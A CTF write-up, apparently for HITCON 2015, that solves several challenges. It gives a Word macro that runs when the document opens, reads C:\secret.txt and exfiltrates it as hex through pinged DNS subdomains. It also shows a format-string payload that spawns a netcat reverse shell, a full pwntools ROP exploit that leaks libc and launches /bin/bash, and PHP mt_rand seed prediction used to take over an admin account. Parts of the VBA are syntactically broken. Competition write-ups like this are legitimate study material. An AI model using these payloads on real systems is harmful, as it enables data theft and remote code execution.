This challenge was solved by and the write up was written by two of my teammates, vasporig and aljasPOD.

If we send in a document, the macro inside it gets executed.

Our way of coummunicating with the outside world was to execute a ping to a subdomain of ours:, for which we've captured all the requests with wireshark.

Most time was spent by locating the file containing the flag (C:\secret.txt), after looking for any file containing ““flag”” I’ve tried listing the root of C:.

Since the file could contain characters not allowed by the dns, and could be of any length, (after some tries) I’ve converted the flag into hex, and cut it into 16 character parts, sending the following “request” (ping) sequence:

Converting the hex back resulted in the flag.

VBA code:

Function ReadFile(fname As String) As String
Dim result As String
    Set objFS = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFS.GetFile(fname)
    Set ts = objFile.OpenAsTextStream(1, -2)
    Do Until ts.AtEndOfStream
         result = result & ts.ReadLine

    ReadFile = result
End Function

Function WinDirList() As String
Dim objFSO As Object
Dim objFolder As Object
Dim objFile As Object
Dim result As String
Dim desktopDir As String
Dim currDir As String

    'Create an instance of the FileSystemObject
    Set objFSO = CreateObject("Scripting.FileSystemObject")

    currDir = CurDir()
    Set objFolder = objFSO.GetFolder(currDir)
    'loops through each file in the directory and prints their names and path
    For Each objFile In objFolder.Files
        'print file name
        result = result & ";" & objFile.path
         'print file name
        If InStr(1, objFile.path, "flag") > 0 Then

        End If
    Next objFile

    'Get the folder object
    desktopDir = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
    Set objFolder = objFSO.GetFolder(desktopDir)
    'loops through each file in the directory and prints their names and path
    For Each objFile In objFolder.Files
        'print file name
        If InStr(1, objFile.path, "flag") > 0 Then

        End If
        result = result & ";" & objFile.path
    Next objFile

    WinDirList = result

End Function
Function toDomain(tmpStr As String) As String

        tmpStr = Replace(tmpStr, " ", "_")
        tmpStr = Replace(tmpStr, "\", ".")
        tmpStr = Replace(tmpStr, ":", ".")
        tmpStr = Replace(tmpStr, "(", ".")
        tmpStr = Replace(tmpStr, "{", ".")
        tmpStr = Replace(tmpStr, "}", ".")
        tmpStr = Replace(tmpStr, ")", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        tmpStr = Replace(tmpStr, "..", ".")
        toDomain = tmpStr
End Function

Sub PWD()
Dim strTemp As String
Dim tmpStr As String
Dim currDir As String

    currDir = CurDir()
    currDir = TrailingSlash(currDir)
    Debug.Print toDomain(currDir)
    ExecIt (toDomain(currDir))
    strTemp = Dir(currDir)
    Do While strTemp <> vbNullString
       Debug.Print toDomain(strTemp)
       ExecIt (toDomain(strTemp))
       strTemp = Dir()

End Sub

Sub ExecIt(domain As String)
Dim strProgramName As String
    'Debug.Print domain
    Call Shell("ping -n 1 -a " & domain, vbNormalFocus)
End Sub

Public Function RecursiveDir(colFiles As Collection, _
                             strFolder As String, _
                             strFileSpec As String, _
                             bIncludeSubfolders As Boolean)

    Dim strTemp As String
    Dim colFolders As New Collection
    Dim vFolderName As Variant
    Dim tmpStr As String

    'Add files in strFolder matching strFileSpec to colFiles
    strFolder = TrailingSlash(strFolder)
    strTemp = Dir(strFolder & strFileSpec)
    Do While strTemp <> vbNullString
        colFiles.Add strFolder & strTemp
        Debug.Print strFolder & strTemp
        ExecIt (toDomain(strFolder & strTemp))
        strTemp = Dir()

    If bIncludeSubfolders Then
        'Fill colFolders with list of subdirectories of strFolder
        strTemp = Dir(strFolder, vbDirectory)
        Do While strTemp <> vbNullString
            If (strTemp <> ".") And (strTemp <> "..") Then
                If (GetAttr(strFolder & strTemp) And vbDirectory) <> 0 Then
                    colFolders.Add strTemp
                    ExecIt (toDomain(strFolder & strTemp))
                End If
            End If
            strTemp = Dir

        'Call RecursiveDir for each subfolder in colFolders
        For Each vFolderName In colFolders
            'ignore erros
            On Error Resume Next
            'Debug.Print strFolder
            Call RecursiveDir(colFiles, strFolder & vFolderName, strFileSpec, True)
        Next vFolderName
    End If

End Function

Public Function TrailingSlash(strFolder As String) As String
    If Len(strFolder) > 0 Then
        If Right(strFolder, 1) = "\" Then
            TrailingSlash = strFolder
            TrailingSlash = strFolder & "\"
        End If
    End If
End Function

Public Function GetFileBytes(ByVal path As String) As Byte()
    Dim lngFileNum As Long
    Dim bytRtnVal() As Byte
    lngFileNum = FreeFile
    If LenB(Dir(path)) Then ''// Does file exist?
        Open path For Binary Access Read As lngFileNum
        ReDim bytRtnVal(LOF(lngFileNum) - 1&) As Byte
        Get lngFileNum, , bytRtnVal
        Close lngFileNum
        Err.Raise 53
    End If
    GetFileBytes = bytRtnVal
    Erase bytRtnVal
End Function

    Private Function ByteArrayToHex(ByRef ByteArray() As Byte) As String
        Dim l As Long, strRet As String

        For l = LBound(ByteArray) To UBound(ByteArray)
            strRet = strRet & Hex$(ByteArray(l))
        Next l
    ByteArrayToHex = strRet
    End Function

Sub Document_Open()
Dim msg As String
Dim l As Integer
Dim k As Integer
Dim Hex As String
Dim bytFile() As Byte
Dim myFile As String
Dim textline As String
Dim colFiles As New Collection
Dim vFile As Variant
    'ignore errors
    'On Error Resume Next
    'Debug.Print "=================================================================="
    ExecIt ("")
    bytFile = GetFileBytes("c:\secret.txt")
    Hex = ByteArrayToHex(bytFile)
    k = Len(Hex) / 16 + 1
    For l = 0 To k
        msg = Left(Hex, 16)
        If Len(Hex) < 16 Then
            Hex = ""
            Hex = Right(Hex, Len(Hex) - 16)
        End If
        ExecIt (toDomain(msg + "." + CStr(l) + ""))
    Next l
    ExecIt ("end." + CStr(k) + "")

End Sub

This challenge was solved by and the write up was written by one of my teammates, vek.

First, we got the correct password by changing the GOT of strlen into puts using a format string vuln, so that puts(password) got called. We did that with the following input:

With the password (“hitconctf2015givemeshell”), we could trigger a function whose first parameter we controlled ( do_job(username) ), so all we had to do was to change do_job’s address to system and username to the desired command, e.g|nc%20X.X.X.X%2025565&password=hitconctf2015givemeshell&job=H%10%6>

This challenge was solved by and the write up was written by one of my teammates, tukan.

The binary implements matrix multiplication.

By specifying a large matrix size, we can trigger an alloca with the size under our control.

Using this, it is possible to pivot the stack pointer to a higher address.

By properly aligning the stack, the scanf function will then eventually overwrite its own saved frame pointer with one of our matrix element input.

Upon returning from main, this gets into rsp.

We can use this to move the stack pointer into a user-buffer at a static location in .bss.

Once done, with some ROP we leak the address of puts from the GOT, calculate the address of system and spawn a shell.

High quality exploit follows:

from pwn import *
context.update(arch='amd64', os='linux')

def rop(*args):
    return struct.pack('Q' * len(args), *args)

# LIVE = False
LIVE = True

####### LOCAL #######
if not LIVE:
    fn = '/root/sf/hitcon/matrix/matrix-a0e5c5c0a8f05896a7f03d8ed4588027'
    env = os.environ.copy()
    env['LD_PRELOAD'] = '/tools/preeny/x86_64-linux-gnu/'
    r = process(fn, env=env)

####### REMOTE #######
if LIVE:
    r = remote('', 31337)

num = 0xfffffffe
ret = 0x400e90
poprdiret = 0x0000000000400f03 # pop rdi ; ret
poprdxret = 0x0000000000400f28 # pop rdx ; ret
poprsipopret = 0x0000000000400f01 # pop rsi ; pop r15 ; ret
stdout = 0x0000000000602080
puts_plt = 0x0000000000400590
fflush_plt = 0x00000000004005F0
fflush_bin = 0x0000000000400E66
puts_got = 0x0000000000602018
read_plt = 0x00000000004005C0
rbp = 0x6022a8

print r.sendafter('name', p64(0)*65 + p64(0x602300-40) + p64(ret) + rop(
    # poprdiret,
    # stdout,
    # fflush_plt,

print r.sendlineafter('matrix\n', str(num))

iternum = 128

for i in range(2):
    print r.sendlineafter('matrix : ', str(i))
print r.sendlineafter('matrix : ', str(rbp))

leak = r.recv(8)
print len(leak)
print repr(leak[:-1])
puts_libc = struct.unpack('Q', leak[:-1] + '\x00'*2)[0]
print hex(puts_libc)
system = puts_libc - 0x6fe30 + 0x46640
r.send(p64(rbp+128+16) + rop(system) + '/bin/bash')

print r.recvrepeat(0.5)


This challenge was solved by and the write up was written by one of my teammates, akg.

`$#{~-$.}` -> executes $0 which is "sh\n"
$. is 1
~-1 is 0

This challenge was solved by one of my teammates, hege and me and the write up was written by me.

View the source code of the site:

<!-- Cong that you notice this line, 
          the source code in the index.phps -->

Download the PHP source code:

SQL injection is a red herring as every input is escaped properly.

So it should be a mt_rand “vulnerability”.

If we register a new account and call multiple reset calls with our new user then we get a lot of tokens. These tokens should be “unxored” with our IPv4 address, so we can the clean mt_rand() results.

Then if we can predict the new mt_rand() result and send in to verify as admin then we will get the admin password.

The only problem is that there were a lot of players and had to get consecutive mt_rand values. So we used Keep-Alive which solved this problem (we used the same thread, so the internal state of Mersenne Twister is not changes).

Mersenne Twister usually can be calculated backwards, but the problem is PHP throws out the LSB bit, so this won’t work.

On the other hand bruteforcing the seed is difficult as the we dont have the first outputs of the MT generator.

But it turned out that untwister ( on one of my teammate’s barebone server (with 32 CPUs) can bruteforce the seed in 20 minutes… :)

So I generated the next value and called verify with that value and logged in as admin with the new admin password.

The flag was: